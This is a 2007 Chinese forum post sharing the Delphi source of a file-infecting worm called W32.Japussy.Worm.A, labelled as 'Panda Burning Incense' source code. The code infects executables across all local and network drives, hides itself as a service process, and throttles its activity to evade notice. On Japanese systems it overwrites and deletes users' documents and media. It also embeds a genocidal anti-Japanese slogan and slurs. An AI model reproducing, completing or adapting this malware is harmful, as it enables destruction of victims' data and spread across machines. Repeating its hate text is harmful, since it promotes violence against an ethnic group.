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[软件编程/平台开发] 熊猫烧香源代码 [复制链接]

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大元帅

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电梯直达

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发表于 2007-2-15 21:29:00 |只看该作者 |倒序浏览

<div class="HtmlCode">program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432;             //病毒体的大小 IconOffset = $12EB8;           //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量   { HeaderSize = 38912;             //Upx压缩过病毒体的大小 IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize   = $2E8;             //PE文件主图标的大小--744字节 IconTail   = IconOffset + IconSize; //PE文件主图标的尾部 ID       = $44444444;         //感染标记 //垃圾码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' +         'If a country need to be destroyed, it must be Japan! ' +         '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si:     STARTUPINFO;

i:     PROCESS_INFORMATION; IsJap:   Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then   Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x   Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来，以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try   sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   try     dStream := TFileStream.Create(FileName, fmCreate);     try     sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分     dStream.CopyFrom(sStream, sStream.Size - HeaderSize);     finally     dStream.Free;     end;   finally     sStream.Free;   end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之？ end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用，退出   if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染     Exit;   Infected := False;   IsPE   := False;   SrcStream := TFileStream.Create(FileName, fmOpenRead);   try     for i := 0 to $108 do //检查PE文件头     begin     SrcStream.Seek(i, soFromBeginning);     SrcStream.Read(Buf, 2);     if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记     begin       IsPE := True; //是PE文件       Break;     end;     end;     SrcStream.Seek(-4, soFromEnd); //检查感染标记     SrcStream.Read(iID, 4);     if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染     Infected := True;   finally     SrcStream.Free;   end;   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出     Exit;   IcoStream := TMemoryStream.Create;   DstStream := TMemoryStream.Create;   try     aIcon := TIcon.Create;     try     //得到被感染文件的主图标(744字节)，存入流     aIcon.ReleaseHandle;     aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);     aIcon.SaveToStream(IcoStream);     finally     aIcon.Free;     end;     SrcStream := TFileStream.Create(FileName, fmOpenRead);     //头文件     HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);     try     //写入病毒体主图标之前的数据     CopyStream(HdrStream, 0, DstStream, 0, IconOffset);     //写入目前程序的主图标     CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);     //写入病毒体主图标到病毒体尾部之间的数据     CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);     //写入宿主程序     CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);     //写入已感染的标记     DstStream.Seek(0, 2);     iID := $44444444;     DstStream.Write(iID, 4);     finally     HdrStream.Free;     end;   finally     SrcStream.Free;     IcoStream.Free;     DstStream.SaveToFile(FileName); //替换宿主文件     DstStream.Free;   end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try   SetFileAttributes(PChar(FileName), 0); //去掉只读属性   FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件   try     Size := GetFileSize(FileHandle, nil); //文件大小     i := 0;     Randomize;     Max := Random(15); //写入垃圾码的随机次数     if Max < 5 then     Max := 5;     Mass := Size div Max; //每个间隔块的大小     Len := Length(Catchword);     while i < Max do     begin     FileSeek(FileHandle, i * Mass, 0); //定位     //写入垃圾码，将文件彻底破坏掉     FileWrite(FileHandle, Catchword, Len);     Inc(i);     end;   finally     FileClose(FileHandle); //关闭文件   end;   DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin   D := Chr(i + 65);   Str := D + ':\';   DiskType := GetDriveType(PChar(Str));   //得到本地磁盘和网络盘   if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then     Result := Result + D; end; end; { 遍历目录，感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin   if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and     (SearchRec.Name <> '..') then     Result := 0 //不是目录   else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and     (SearchRec.Name <> '..') then     Result := 1 //不是根目录   else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin   repeat     PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑     if IsValidDir(SearchRec) = 0 then     begin     Fn := Path + SearchRec.Name;     Ext := UpperCase(ExtractFileExt(Fn));     if (Ext = '.EXE') or (Ext = '.SCR') then     begin       InfectOneFile(Fn); //感染可执行文件         end     else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then     begin       //感染HTML和ASP文件，将Base64编码后的病毒写入       //感染浏览此网页的所有用户       //哪位大兄弟愿意完成之？     end     else if Ext = '.WAB' then //Outlook地址簿文件     begin       //获取Outlook邮件地址     end     else if Ext = '.ADC' then //Foxmail地址自动完成文件     begin       //获取Foxmail邮件地址     end     else if Ext = 'IND' then //Foxmail地址簿文件     begin       //获取Foxmail邮件地址     end     else     begin       if IsJap then //是倭文操作系统       begin         if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or         (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or         (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or         (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or         (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or         (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then           SmashFile(Fn); //摧毁文件       end;     end;     end;     //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑     Sleep(200);   until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin   repeat     if IsValidDir(SearchRec) = 1 then     SubDir.Add(SearchRec.Name);   until (FindNext(SearchRec) <> 0);   end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do   LoopFiles(Path + SubDir.Strings + '\', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统   IsJap := True; //去死吧！ DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin   for i := Len downto 1 do //遍历每个磁盘驱动器     LoopFiles(DriverList + ':\', '*.*'); //感染之   SendMail; //发带毒邮件   Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x   RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin   //远程线程映射到Explorer进程   //哪位兄台愿意完成之？ end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then   InfectFiles //感染和发邮件 else //已寄生于宿主程序上了，开始工作 begin   TmpFile := ParamStr(0); //创建临时文件   Delete(TmpFile, Length(TmpFile) - 4, 4);   TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格   ExtractFile(TmpFile); //分离之   FillStartupInfo(Si, SW_SHOWDEFAULT);   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,     0, nil, '.', Si, Pi); //创建新进程运行之   InfectFiles; //感染和发邮件 end; end. </div>

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[软件编程/平台开发] 熊猫烧香源代码 [复制链接]

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